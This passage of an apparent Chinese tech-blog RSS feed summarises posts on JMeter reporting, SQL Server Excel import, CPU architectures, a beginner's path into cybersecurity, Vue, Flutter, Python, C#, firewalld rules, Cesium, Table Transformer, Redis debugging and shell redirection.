      <description>一、首先把测试脚本写好&#xA;二、利用命令生成html报告&#xA;命令：jmeter -n -t 【Jmx脚本位置】-l 【结果文件result.jtl存放的位置】-e -o 【生成HTML报告指定文件夹】&#xA;参数解释：&#xA;-n：表示non gui mode，就是非图形化模式。&#xA;-t：指定JMX脚本路径，即test plan（测试计划）。后面跟需要运行的JMeter 脚本的路径和脚本名称。&#xA;-l：指定结果文件路径。后面跟输出结果文件路径和结果文件名称。&#xA;1）若没有指定指定结果文件路径，则自动创建，可以生成.csv文件或者.jtl文件。&#xA;2）若只写脚本名称，则默认是在当前目录查找或创建。&#xA;-e：设置测试完成后生成测试报表。&#xA;-o：指定测试报表生成文件夹。文件夹必须为空或不存在。&#xA;例如：jmeter -n -t C:\Users\yuhaiyan\HTTP请求.jmx -lC:\Users\yuhaiyan\result.jtl -e -oC:\Users\yuhaiyan\report&#xA;分布式压测：&#xA;https://www.cnblogs.com/wuyy353558733/articles/16329847.html</description>
    </item>
    <item>
      <title>【SQLserver】使用openrowset方法导入EXCEL表格数据</title>
      <link>https://bchobby.github.io/posts/690959b072aa7adddabb55ce64bb19d5/</link>
      <pubDate>Wed, 19 Apr 2023 08:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/690959b072aa7adddabb55ce64bb19d5/</guid>
      <description>一、前言&#xA;在之前的一篇博文中记录了用OPENDATASOURCE函数将EXCEL数据写入SQLserver表中的方法。这一方法需要表名sheet1为固定名称不可更改。实际业务中可能会遇到表名随着日期而改动的情况，如果excel表名和写入SQL语句里的表名不一致就会出错。这篇博文介绍了如何跳过表名sheet1直接读取数据的方式。&#xA;--导入整张表语句&#xA;--SELECT * FROM OPENDATASOURCE(&#39;Microsoft.ACE.OLEDB.12.0&#39;,&#39;Data Source=C:\Data\qaz\123.xlsx;Extended Properties=&#34;Excel 8.0;HDR=YES;IMEX=1&#34;&#39;)...Sheet1$&#xA;二、SQL语句&#xA;--导入指定行列语句 SELECT * FROM openrowset( &#39;Microsoft.ACE.OLEDB.12.0&#39;,&#39;Excel 8.0;Database=C:\Data\qaz\123.xlsx&#39;,&#39;select * from [Sheet1$A1:BC1048576]&#39;) 说明：&#xA;① database：这部分填写excel文件存放路径；&#xA;②select * from[sheet1$A1:BC1048576]:读取表格的数据。</description>
    </item>
    <item>
      <title>CPU架构简介（ARM、X86/Atom、MIPS、PowerPC）</title>
      <link>https://bchobby.github.io/posts/dd1117e3168d220272aa6c97baa490fc/</link>
      <pubDate>Tue, 18 Apr 2023 19:39:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd1117e3168d220272aa6c97baa490fc/</guid>
      <description>ARM、MIPS、PowerPC 均是基于精简指令集RISC机器处理器的架构&#xA;X86是基于复杂指令集的架构，Atom则基于是x86指令集的精简版&#xA;ARM架构 ARM架构，过去称作进阶精简指令集机器（Advanced RISC Machine，更早称作：Acorn RISC Machine），是一个32位精简指令集（RISC）处理器架构，其广泛地使用在许多嵌入式系统设计。由于节能的特点，ARM处理器非常适用于行动通讯领域，符合其主要设计目标为低耗电的特性。&#xA;优势：价格低；能耗低；ARM 授权方式：ARM 公司本身并不靠自有的设计来制造或出售 CPU ，而是将处理器架构授权给有兴趣的厂家。生产厂商：TI （德州仪器）/Samsung（三星）/Freescale（飞思卡尔）/Marvell（马维尔）/Nvidia（英伟达） ARM家族占了所有32位嵌入式处理器75%的比例，使它成为占全世界最多数的32位架构之一。ARM处理器可以在很多消费性电子产品上看到，从可携式装置（PDA、移动电话、多媒体播放器、掌上型电子游戏，和计算机）到电脑外设&#xA;x86系列/Atom处理器 x86是英代尔Intel首先开发制造的一种微处理器体系结构的泛称。&#xA;x86架构是重要地可变指令长度的CISC（复杂指令集电脑，Complex Instruction Set Computer）。&#xA;常见的CISC微指令集CPU主要有AMD、Intel、VIA 等的 x86 架构CPU那为何称为 x86 架构呢？ 这是因为最早的那颗 Intel 发展出来的 CPU 代号称为 8086，后来依此架构又开发出 80286, 80386…， 因此这种架构的 CPU 就被称为 x86 架构了。不同的 x86 架构的 CPU 有什么差异呢？除了 CPU 的整体结构(如第二层快取、每次运作可执行的&#xA;指令数等)之外，主要是在于微指令集的不同。新的x86的 CPU 大多含有先进的微指令集， 这些微&#xA;指令集可以加速多媒体程序的运作，加强虚拟化的效能。 Intel Atom（中文：凌动，开发代号：Silverthorne）是Intel的一个超低电压处理器系列。处理器采用45纳米工艺制造，集成4700万个晶体管。L2缓存为512KB，支持SSE3指令集，和VT虚拟化技术（部份型号）。&#xA;MIPS系列 MIPS是很流行的一种RISC处理器。MIPS的意思是“无内部互锁流水级的微处理器”(Microprocessor without interlocked piped stages)，其机制是尽量利用软件办法避免流水线中的数据相关问题。&#xA;与英特尔采用的复杂指令系统计算结构(CISC)相比，RISC具有设计更简单、设计周期更短等优点，并可以应用更多先进的技术，开发更快的下一代处理器。&#xA;MIPS自己只进行CPU的设计，之后把设计方案授权给客户，使得客户能够制造出高性能的CPU。&#xA;PowerPC系列 PowerPC 是一种精简指令集（RISC）架构的中央处理器（CPU）&#xA;PowerPC架构的特点是可伸缩性好、易嵌入、方便灵活、能耗低。PowerPC 处理器有广泛的应用范围（如任天堂 Gamecube 使用了 PowerPC）。</description>
    </item>
    <item>
      <title>看完这篇，保证你学网络安全一帆风顺！</title>
      <link>https://bchobby.github.io/posts/443e8be9ac1d85a179abc83bced16882/</link>
      <pubDate>Tue, 18 Apr 2023 17:33:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/443e8be9ac1d85a179abc83bced16882/</guid>
      <description>网络安全入门很难吗？总有人抱怨黑客入门太难了，然后仔细了解之后却发现，觉得难是因为看的视频教程都不是配套的，都是这里学一点、那里学一点，脑子里连基本的框架都没有。更过分的是，有的人学了好几个月，甚至都不知道网络安全是干嘛的。&#xA;网络安全入门，入门就是要把知识讲的逻辑清晰、言简意赅、通俗易懂，把复杂的东西简单化，才是有能力的体现。我们的詹老师就非常擅长用生动形象的例子来解释一些复杂难懂的知识。&#xA;网络安全是什么呢？是不是学会了就可以随便攻击别人的的系统了？随便窃取别人的信息了？&#xA;其实并不是，并没有电视剧里面那种中二、热血。虽然学习完网络安全技术之后，从理论上来说可以做到如此中二、热血的事情，但是这些都是违法的。千万不要踩到这个红线了，否则三年五年都是比较轻的。&#xA;我们现在所说的网络安全基本上都是指白帽子，也就是网络安全工程师，主要的工作是调试和分析计算机安全系统。真正从事网络安全的人从来不称自己是黑客，都会说是做网络安全的，只会一些皮毛的菜鸟才自称黑客。&#xA;想要成为一名网络安全工程师，就要学会渗透测试这一核心技术。也就是通过模拟黑客恶意攻击的方法，来评估计算机网络安全的安全性。&#xA;网络安全入门需要掌握的技术&#xA;1、网络安全术语基础&#xA;在这个圈子里面混，一定要搞清楚他们的常用术语，否则会被贻笑大方。木马、注入、肉鸡、水坑攻击、端口、webshell、DDoS等等都是需要学会的。当然还有一些常用工具的名字术语，都需要了解。&#xA;关于专业术语方面的学习资料可以找我们，基本所有的网络安全术语都有涉及，对计算机网络原理也有一定基础要求，不会的还可以去百度学习一下。&#xA;当然，这部分学习结束也仅仅是开始，是最基础的部分。想要攻击别人的电脑还有很长的一段路要走，还要掌握协议、了解渗透技术和技巧等等。&#xA;2、网络协议&#xA;入门黑客前的重要一步，就是了解网络协议：TPC/IP。你只要懂了个大概，对后期做渗透测试以及了解一些漏洞原理帮助是非常大的，比如SSRF漏洞，他支持一些http、ftp、file...等等！&#xA;网站的重要性就不需要多说了吧，要想成为一名网络安全，不懂网站怎么可以。http、www、html、css、JavaScript等建站所需的技术都要会，这算是基本功！！&#xA;3、编程&#xA;这部分可能对于新手来说不是特别友好，但是依旧是非常重要的，还是需要多学习多练习的。新手可以从Python开始学，练习编程、练习编程思想学会用计算机的思维去思考问题。而且这种计算机语言是通的，只要你入门了其中一门语言，那么其他语言学起来也不会很困难。所以一开始选择一个更容易入门的语言，不用纠结什么语言更好。&#xA;4、网络安全工具&#xA;不是简单的远控软件，而是作为一名专业的网络安全工程师必须要知道的Hydra、medusa、sqlmap、AWVS、Burpsuite、Beef-XSS、Metasploit、Nessus、wireshark等安全工具，这些都是在这个圈子里比较常用的。而且一定要学会sqlmap、burpsuite和metasploit这三款工具！&#xA;5、漏洞原理&#xA;当你已经熟悉编程，有了编程思维、并且熟悉网络安全工具之后，你就可以去学习漏洞原理了。比如：XSS、sql注入、文件上传、文件包含等等。&#xA;学会编程之后，这些漏洞原理学起来会非常快。然后就可以去实战演练端口爆破。找好工具，用虚拟机搭建爆破环境，用物理机爆破目标虚拟机。&#xA;在学习漏洞原理时，一定要精通一个漏洞之后再去学习下一个新的漏洞，这样才能打好基础。&#xA;说到这里，如果你仅仅是对网络安全感兴趣，那么这些知识完全够你拿去玩了。但是如果是想转行从事网络安全行业，这点知识就不够用了。&#xA;这仅仅是入门级别的水平，想要成为一名有价值的网络安全工程师，那就要学习更多的知识内容、掌握更多的黑客技术，让能力得到提升。这时候就需要系统的学习，长期的辅导。&#xA;随着大数据、物联网、人工智能等新技术的发展，信息技术与经济社会各领域的融合肯定会更加深入，网络安全与每个人的生活都息息相关。时代在不断发展，网络安全也在不断面对挑战，所以网络安全的知识永远也学不完，并且会越学越多。&#xA;所以即便以后工作了，成为大佬级别的人物了，也是需要不断学习新知识、新技术的。</description>
    </item>
    <item>
      <title>【vue3&#43;elementPlus】在el-table中使用popconfirm、popover、tooltip、select时，出现placement错位或者框被table的列遮挡的解决方案</title>
      <link>https://bchobby.github.io/posts/3bfa53091ebd096e93f978496fd8391e/</link>
      <pubDate>Tue, 18 Apr 2023 16:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bfa53091ebd096e93f978496fd8391e/</guid>
      <description>首先，第一种情况，项目设置了zoom，会导致el-popconfirm、el-popover、el-tooltip、el-select位置不对&#xA;解决方案：&#xA;:temported=&#34;false&#34;&#x9;// 给以上标签加该属性，意思是不插入body，el-popconfirm、el-popover、el-tooltip、el-select的节点会放在当前所写的页面的相应位置 如果不设置temported，el-popconfirm是放在body下面的&#xA;这是设置了temported=&#34;false&#34;的，可见此时el-popconfirm已经放到了相应的位置&#xA;然后通过css调整即可，最简单的就是：子绝父相，用定位控制popconfirm的位置，top: 0, left: 0 就可以一直固定在需要的位置上&#xA;其次，其实这个问题已经解决了大半，只有在el-table中使用popconfirm、popover、tooltip时，会出现一个新的问题：表格的单元格会遮挡popconfirm、popover、tooltip的显示，无论怎么设置z-index，都不生效&#xA;解决方案：&#xA;// 设置每一行的定位 &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34; :row-style=&#34;{ position: &#39;relative&#39; }&#34; &amp;gt; /* 获取每一行, 排他思想, 除了被点击的那一行, 其他zIndex都设为2022, 提高pop父盒子的层级 */ const del = (index: number, event: any) =&amp;gt; { let listDom = document.querySelectorAll(&#39;.elp-table__row&#39;) listDom?.forEach((item: any) =&amp;gt; { item.style.zIndex = 0 }) event.path[4].style[&#39;z-index&#39;] = 2011&#x9;// listDom[index].style[&#39;z-index&#39;] = 2011 /* event.path[4]是当前行的dom节点 如果只有一个简单的表格，用 listDom[index]去设置即可，但是我的场景是表格的每一行下面还有二 级表格，所以用event.path[4] */ }; 我的场景是：点击操作列的删除，弹出el-popconfirm，所以在删除按钮上绑定上述事件并传入当前是第几行&#xA;&amp;lt;el-popconfirm title=&#34;</description>
    </item>
    <item>
      <title>如何获取想要的颜色值</title>
      <link>https://bchobby.github.io/posts/03a1bd3e909cf44e2ae87302fb79e51f/</link>
      <pubDate>Tue, 18 Apr 2023 15:07:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03a1bd3e909cf44e2ae87302fb79e51f/</guid>
      <description>vscode想换一个护眼的主题色，但是vscode可选的主题色中并无法找到合适的护眼的浅绿色，小筛在百度上找了好久也没能找到合适的颜色。&#xA;后来用迅捷PDF翻阅电子书，设置护眼背景色，喜欢上了他的浅绿色主题，盲试了好久，没能找到极其相似的颜色。用网页的颜色吸取器也没能成功，不得不采用笨办法，虽然笨，但是解决了小筛的问题。&#xA;第一步：打开电脑自带的“画图”应用&#xA;第二步：截取目标颜色部分为图片&#xA;第三步：将截取的图片粘到“画图”应用画布中&#xA;第四步：用“画图”应用中，工具栏部分的“颜色选取器”吸取图片中的颜色&#xA;第五步：点击工具栏中的“编辑颜色”，可以看到如下界面&#xA;该界面的RGU可以作为颜色RGB的值，如果需要转成十六进制，在网页进行在线转换即可。&#xA;https://www.sioe.cn/yingyong/yanse-rgb-16/</description>
    </item>
    <item>
      <title>UE DS服务器Attach后添加断点不能命中问题处理</title>
      <link>https://bchobby.github.io/posts/4d0e52a6db0d740945c646b723a9c2ce/</link>
      <pubDate>Tue, 18 Apr 2023 11:05:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d0e52a6db0d740945c646b723a9c2ce/</guid>
      <description>编辑器模式下，单独的DS服务器窗口，Visual studio 附加到进程后，断点不能正常进入。&#xA;DS服务器Attach后添加断点不能命中问题处理&#xA;如下设置后， 重启电脑即可；&#xA;记录一下。</description>
    </item>
    <item>
      <title>Flutter 滚动组件ListView,GridView,Sliver以及滚动监听</title>
      <link>https://bchobby.github.io/posts/465e10178d565868bf4102d01202cd3f/</link>
      <pubDate>Mon, 17 Apr 2023 22:38:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/465e10178d565868bf4102d01202cd3f/</guid>
      <description>前言 身是菩提树 心是明镜台 时时勤拂拭 模式染尘埃 这玩意不难，就是东西多。。。&#xA;1 看一下继承关系 class GridView extends BoxScrollView&#xA;abstract class BoxScrollView extends ScrollView&#xA;abstract class ScrollView extends StatelessWidget&#xA;2 下面是scroll_view.dart 中的代码 这个注释就是很清楚了 ，子类就是要重写buildSlivers这个方法，这是个抽象的方法。&#xA;/// Build the list of widgets to place inside the viewport. /// /// Subclasses should override this method to build the slivers for the inside /// of the viewport. @protected List&amp;lt;Widget&amp;gt; buildSlivers(BuildContext context); 这是BoxScrollView 中 buildSlivers 的实现方法&#xA;@override List&amp;lt;Widget&amp;gt; buildSlivers(BuildContext context) { Widget sliver = buildChildLayout(context); EdgeInsetsGeometry?</description>
    </item>
    <item>
      <title>Vue3&#43;Springboot图片下载</title>
      <link>https://bchobby.github.io/posts/484cd617314f33e49672d33dce7e8307/</link>
      <pubDate>Mon, 17 Apr 2023 21:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/484cd617314f33e49672d33dce7e8307/</guid>
      <description>后端图片下载接口&#xA;@ApiOperation(value = &#34;下载图片&#34;) @GetMapping(&#34;download/{pictureId}&#34;) public void download(@PathVariable(&#34;pictureId&#34;) @NotNull(message=&#34;参数错误&#34;) Long id, HttpServletResponse response) { PicturePo picturePo = pictureService.getById(id); if(Objects.isNull(picturePo)) BusinessException.throwException(ResultVo.notFound()); Path path = FolderInitRunner.FOLDER_PATH.resolve(picturePo.getPath()); if (!Files.exists(path)) { log.warn(&#34;图片丢失：{}&#34;, picturePo.toString()); BusinessException.throwException(ResultVo.notFound()); } try (OutputStream os = response.getOutputStream()) { response.setHeader(&#34;Content-Disposition&#34;, &#34;attachment;filename=&#34; +URLEncoder.encode(picturePo.getTitle() + &#34;.&#34; + picturePo.getType(), &#34;UTF-8&#34;)); response.setContentType(&#34;application/octet-stream&#34;); Files.copy(path, os); } catch (Exception e) { log.error(&#34;图片传输异常：{}&#34;,picturePo.toString()); BusinessException.throwException(ResultVo.error()); } } 前端代码&#xA;在&amp;lt;template&amp;gt;代码块中加入以下代码&#xA;&amp;lt;a :href=&#34;link&#34; download=&#34;&#34; id=&#34;a-download&#34;&amp;gt; &amp;lt;img :src=&#34;link&#34; alt=&#34;&#34;/&amp;gt; &amp;lt;/a&amp;gt; 在&amp;lt;style&amp;gt;标签中加入以下代码&#xA;#a-download{ display: none; } 在&amp;lt;script&amp;gt;标签中加入以下代码</description>
    </item>
    <item>
      <title>【Linux】线程互斥详解：多线程会有什么问题？什么是互斥锁？C&#43;&#43;怎么封装使用互斥锁？</title>
      <link>https://bchobby.github.io/posts/81823817c88e285a7f24e263cf4c85cc/</link>
      <pubDate>Mon, 17 Apr 2023 21:13:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81823817c88e285a7f24e263cf4c85cc/</guid>
      <description>多线程可以提高程序的并发性和运行效率，充分利用计算机的多核资源. 前面的几篇文章已经介绍了, Linux线程的基本概念、基本控制等内容.&#xA;我们已经看到了多线程可以提升运行效率等. 但是, 也发现了问题, 多线程可能会导致输出混乱、访问共享资源混乱、竞争等问题.&#xA;输出混乱只是小问题, 而像访问资源混乱、错误的问题 就比较大了.&#xA;线程互斥 在正式分析线程互斥之前. 以线程的角度再介绍三个概念, 这三个概念在介绍共享内存时就已经简单的提过.&#xA;临界资源和临界区 临界资源: 不同执行流都可以看到的同一资源, 就叫做临界资源临界区: 访问临界资源的代码, 就叫就临界区原子性: 一个操作, 如果只存在两种状态: 未完成、已完成, 而没有中间状态, 就称这个操作是具有原子性的. 那么, 一下面这段代码为例:&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;pthread.h&amp;gt; using std::cout; using std::endl; int tickets = 10000; // 查票 void* inqureTicket(void* args) { const char* name = static_cast&amp;lt;const char*&amp;gt;(args); int cnt = 10; while (cnt--) { if (tickets &amp;gt; 0) { usleep(100000); printf(&#34;%s: %lu 查到剩余票了, 还有: %d\n&#34;</description>
    </item>
    <item>
      <title>python setattr/getattr</title>
      <link>https://bchobby.github.io/posts/4feb46258d6e5d2a75410e03d280132d/</link>
      <pubDate>Mon, 17 Apr 2023 18:00:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4feb46258d6e5d2a75410e03d280132d/</guid>
      <description>对照字典的get/update用于获取/更新键值：&#xA;test_dic = {&#34;Lisa&#34;: 18, &#34;Tom&#34;: 17, &#34;Lus&#34;: 16} k1 = test_dic.get(&#34;Lisa&#34;) print(k1) test_dic.update({&#34;Lisa&#34;: 16, &#34;Pite&#34;: 19}) print(test_dic) # 18 # {&#39;Lisa&#39;: 16, &#39;Tom&#39;: 17, &#39;Lus&#39;: 16, &#39;Pite&#39;: 19} setattr/getattr用于获取/更新对象的属性值&#xA;def setattr(x, y, v): # real signature unknown; restored from __doc__ &#34;&#34;&#34; Sets the named attribute on the given object to the specified value. setattr(x, &#39;y&#39;, v) is equivalent to ``x.y = v&#39;&#39; &#34;&#34;&#34; pass def getattr(object, name, default=None): # known special case of getattr &#34;</description>
    </item>
    <item>
      <title>python @property setter/deleter</title>
      <link>https://bchobby.github.io/posts/f6f0b6e9e719a247120df10cf7c19857/</link>
      <pubDate>Mon, 17 Apr 2023 17:49:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6f0b6e9e719a247120df10cf7c19857/</guid>
      <description>获取/更新对象属性：getattr/setattr，但是没有办法检查检查参数，导致可以任意设置对象属性.&#xA;为了解决这个问题，引入property：&#xA;Python内置的@property装饰器就是负责把一个方法变成属性调用&#xA;用property来获取/更新/删除属性&#xA;class property(object): &#34;&#34;&#34; Property attribute. fget function to be used for getting an attribute value fset function to be used for setting an attribute value fdel function to be used for del&#39;ing an attribute doc docstring Typical use is to define a managed attribute x: class C(object): def getx(self): return self._x def setx(self, value): self._x = value def delx(self): del self._x x = property(getx, setx, delx, &#34;</description>
    </item>
    <item>
      <title>[C#]自制简易计算器窗体应用程序（仿windows自带计算器）</title>
      <link>https://bchobby.github.io/posts/cacef195a8e9b2342af05ae33b786660/</link>
      <pubDate>Mon, 17 Apr 2023 17:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cacef195a8e9b2342af05ae33b786660/</guid>
      <description>前言 C#学习过程中，遇到一个作业：仿照windows自带计算器编写一个窗体应用程序。经过学习、编写、不断试错和优化，做出了一个满意度较高的成品。&#xA;结果展示 程序界面与功能如下：&#xA;算法讲解： 要能够实现按钮的输入操作，在这一步，可以将多个按钮的Click函数合并，用一个函数来控制多个不同但功能类似的按钮。&#xA;private void Numbtn_Click(object sender, EventArgs e)//数字部分 { Button btn = (Button)sender; if (output)//连等结束后的处理 { left_num = right_num = result = 0; textBox1.Text = &#34;&#34;; flag = &#39; &#39;; output = false; } if (btn.Text.Equals(&#34;0&#34;)) { if (start || textBox2.Text == &#34;0&#34;)//计算结束后重新输入，输入框清零 { textBox2.Text = &#34;&#34;; textBox2.Text += &#34;0&#34;; put0 = false; } if (put0)//只有允许输出0时才能输出0 { textBox2.Text += &#34;0&#34;; } } else { if (start || textBox2.</description>
    </item>
    <item>
      <title>python3.9.6 windows安装</title>
      <link>https://bchobby.github.io/posts/58663a5e256182f2372b77d0424b2a44/</link>
      <pubDate>Mon, 17 Apr 2023 17:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58663a5e256182f2372b77d0424b2a44/</guid>
      <description> 下载安装 python官网打不开，从如下网址下载：&#xA;CNPM Binaries Mirror&#xA;python-3.9.6-amd64.exe&#xA;测试： python --version&#xA;Python 3.9.6&#xA;pip --version # Python2.x 版本命令&#xA;pip3 --version # Python3.x 版本命令&#xA;pip改为国内镜像源 1.C:\Users\Administrator\pip下新建文件pip.ini，内容如下&#xA;[global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn 2.查看&#xA;d:\now&amp;gt;pip3 config list global.index-url=&#39;https://pypi.tuna.tsinghua.edu.cn/simple&#39; install.trusted-host=&#39;pypi.tuna.tsinghua.edu.cn&#39; d:\now&amp;gt; </description>
    </item>
    <item>
      <title>firewalld高级配置</title>
      <link>https://bchobby.github.io/posts/54ed8e71540e1253541e406b3d7a3676/</link>
      <pubDate>Mon, 17 Apr 2023 17:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54ed8e71540e1253541e406b3d7a3676/</guid>
      <description>1、IP地址伪装 masquerade：伪装&#xA;通过地址伪装，NAT设备将经过设备的包转发到指定接收方，同时将通过的数据包的原地址更改为NAT的接口地址转发到不同步目的地。当是返回数据包是，会将目的地之修改为原始主机地址并路由。&#xA;2、端口转发&#xA;也叫端口映射。通过端口转发，将指定IP地址及端口的流量转发到相同计算机上不同端口，或不同计算机上的端口。&#xA;firewall-cmd高级配置 firewalld（Dynamic Firewall Manager of Linux systems，Linux 系统的动态防火墙管理器）服务是默认的防火墙配置管理工具&#xA;它拥有基于 CLI（命令行界面）和基于 GUI（图形用户界面）的两种管理方式。&#xA;相较于传统的防火墙管理配置工具，firewalld 支持动态更新技术并加入了区域的概念。简单来说，区域就是 firewalld 预先准备了几套防火墙策略集合（策略模板），用户可以根据生产场景的不同而选择合适的策略集合，从而实现防火墙策略之间的快速切换。&#xA;firewalld 中常见的区域名称（默认为 public）以及相应的策略规则如表 所示。public是默认的。&#xA;直接规则 就是将指定网段或某一具体ip加入到同一区域，从而达到批量化限制用户行为！&#xA;1）直接只用iptables或firewalld语句规则写入管理区域&#xA;2）执行优先级最高。优先级：直接规则→富规则→区域规则&#xA;3）不会iptables语句的用户不建议直接使用直连接口&#xA;4）适用于服务或应用程序&#xA;firewalld中的直接规则设置的是一种流程性的规则选项，描述在过程中要做那些事。配置难度相对较高，不建议初学者设置。&#xA;语句：&#xA;firewall-cmd --direct 例1：启用黑名单 firewall-cmd --direct --permanent --add-chain ipv4 raw blacklist --direct：直接规则 --permanent：将规则写入防火墙配置文件，永久执行【需要使用firewalll-cmd --reload加载配置文件才能生效。如果不使用此选项，所有新添加的规则都是临时使用~】 --add-chain：添加一个新区域 ipv4 raw blacklist：以ipv4地址格式构建区域，读取raw表进行追踪，区域名称为blocklist（黑名单） 例2：将1.0.0.0网段加入到黑名单 firewall-cmd --direct --add-rule ipv4 raw PREROUTING 0 -s 1.0.0.0 -j blacklist 解释：添加直连规则，临时生效（永久生效），添加规则，目标地址转换之前的数据包中：源地址为1.0.0.0网段加入blocklist区域。 例3：设置访问日志记录 firewall-cmd --direct --permanent --add-rule ipv4 raw blacklist 0 -m limit --limit 1/min -j LOG --log-prefix &#34;</description>
    </item>
    <item>
      <title>cesium 自定义动态标记</title>
      <link>https://bchobby.github.io/posts/83aa1979e916c64cbc6d063e595aac46/</link>
      <pubDate>Mon, 17 Apr 2023 16:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83aa1979e916c64cbc6d063e595aac46/</guid>
      <description># 效果 图中效果源代码在下面的封装栏中&#xA;效果展示：https://www.bilibili.com/video/BV1db4y167z7 # 基本思路 将DOM元素渲染到cesium容器中，并利用cesium中提供的 viewer.scene.postRender 实时更新坐标位置。思路很简单，接下来我们进行实现。&#xA;# 实现方法 首先我们需要生成一个球体做我们标记的容器。&#xA;viewer = new Cesium.Viewer(&#39;cesiumContainer&#39;,{ // terrainProvider: Cesium.createWorldTerrain(), // animation: false, // 控制场景动画的播放速度控件 // baseLayerPicker: true, // 底图切换控件 // baselLayerPicker:false,// 将图层选择的控件关掉，才能添加其他影像数据 // // fullscreenButton: false, // 全屏控件 // geocoder: false, // 地理位置查询定位控件 // homeButton: true, // 默认相机位置控件 // timeline: false, // 时间滚动条控件 // infoBox: false, //是否显示信息框 // sceneModePicker: false, //是否显示3D/2D选择器 // selectionIndicator: false, // 点击点绿色弹出 是否显示选取指示器组件 // sceneMode: Cesium.</description>
    </item>
    <item>
      <title>Table Transformer做表格检测和识别实践</title>
      <link>https://bchobby.github.io/posts/8d2a3744078ed52cb41a1a9b3b9efcb4/</link>
      <pubDate>Mon, 17 Apr 2023 16:06:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d2a3744078ed52cb41a1a9b3b9efcb4/</guid>
      <description>计算机视觉方面的三大顶级会议：ICCV,CVPR,ECCV.统称ICE&#xA;CVPR 2022文档图像分析与识别相关论文26篇汇集简介&#xA;论文： PubTables-1M: Towards comprehensive table extraction from unstructured documents是发表于CVPR上的一篇论文&#xA;作者发布了两个模型，表格检测和表格结构识别。&#xA;论文讲解可以参考【论文阅读】PubTables- 1M: Towards comprehensive table extraction from unstructured documents&#xA;hugging face Table Transformer 使用文档&#xA;hugging face Table DETR 使用文档&#xA;检测表格 from huggingface_hub import hf_hub_download from transformers import AutoImageProcessor, TableTransformerForObjectDetection import torch from PIL import Image file_path = hf_hub_download(repo_id=&#34;nielsr/example-pdf&#34;, repo_type=&#34;dataset&#34;, filename=&#34;example_pdf.png&#34;) image = Image.open(file_path).convert(&#34;RGB&#34;) image_processor = AutoImageProcessor.from_pretrained(&#34;microsoft/table-transformer-detection&#34;) model = TableTransformerForObjectDetection.from_pretrained(&#34;microsoft/table-transformer-detection&#34;) inputs = image_processor(images=image, return_tensors=&#34;pt&#34;) outputs = model(**inputs) # convert outputs (bounding boxes and class logits) to COCO API target_sizes = torch.</description>
    </item>
    <item>
      <title>mac系统下使用clion调试redis源码</title>
      <link>https://bchobby.github.io/posts/dc91130b66415001d994f9b0c772d341/</link>
      <pubDate>Mon, 17 Apr 2023 16:04:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc91130b66415001d994f9b0c772d341/</guid>
      <description>获取源代码&#xA;有两种方式，第一种是从官网下载 Redis 源码压缩包，如图 1-1 所示。&#xA;图1-1&#xA;将压缩包解压得到一个文件夹。&#xA;第二种方式，通过 git clone 获取源码。&#xA;从 Github 上，使用 git clone https://github.com/redis/redis.git指令下载，下载完成后你会得到如下文件。&#xA;图 1-2&#xA;进入 redis 目录，使用 git checkout 切换到 7.0.5 这个 tag 。&#xA;复制&#xA;gir checkout tags/7.0.5 -b 7.0.5 1. 编译 Redis&#xA;在编译之前，需要安装一些环境依赖，Redis 是 C 语言编写的，所以还需要 gcc 编译器。&#xA;执行 gcc -v判断是否安装了编译器。&#xA;图 1-3&#xA;没有安装的话，使用如下指令安装。&#xA;复制&#xA;xcode-select --install 1. 一切准备就绪，进入 redis 的源码目录，执行 make命令就可以了，你可以类比成 Java 中的 mvn 命令。&#xA;复制&#xA;make CFLAGS=&#34;-g -O0&#34; MALLOC=jemalloc 1. 命令后边的 “-O0” 参数表示告诉编译器不要优化代码，防止你在 Debug 的时候， IDE 里面的 Redis 源码与实际运行的代码对应不上。</description>
    </item>
    <item>
      <title>shell脚本基础之详解脚本数据的输入与输出</title>
      <link>https://bchobby.github.io/posts/4694db939a374f6e2d47ecbcff8ace01/</link>
      <pubDate>Mon, 17 Apr 2023 16:02:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4694db939a374f6e2d47ecbcff8ace01/</guid>
      <description>数据的展示 理解输入与输出标准文件描述符STDIN（标准输入）STDOUT（标准输出）STDERR（标准错误） 重定向错误只重定向错误重定向错误和数据 在shell脚本中重定向输出临时重定向永久重定向 在shell脚本中重定向输入创建自己的重定向创建输出文件描述符重定向文件描述符创建输入文件描述符创建读写文件描述符关闭文件描述符 列出打开的文件描述符阻止命令输出创建临时文件创建本地临时文件在/tmp 目录创建临时文件创建临时目录 记录消息 截至到现在，我们所写的shell脚本都是通过将数据打印在屏幕上或将数据重定向到文件中来显示信息的，下面我们会学习如何将脚本的输出重定向到Linux系统的其它位置，并深入了解重定向 理解输入与输出 目前我们已经学习到两种显示脚本输出的方法： 在显示器屏幕上显示输出将输出重定向到文件，查看文件 上述两种方法，要么是将数据全部显示到屏幕上，要么是什么都不显示。如果可以将一部分数据展示到显示器上，一部分保存到文件中，这个方法看起来是个更优解，对此我们需要了解Linux如何处理输入输出，才能够帮助我们将脚本输出放到正确位置 标准文件描述符 Linux系统将每个对象当作文件处理。这包括输入和输出进程。Linux用文件描述符（file descriptor）来标识每个文件对象。文件描述符是一个非负整数，可以唯一标识会话中打开的文件。每个进程一次最多可以有九个文件描述符。出于特殊目的，bash shell保留了前三个文件描述符（0、1、2），如下表： 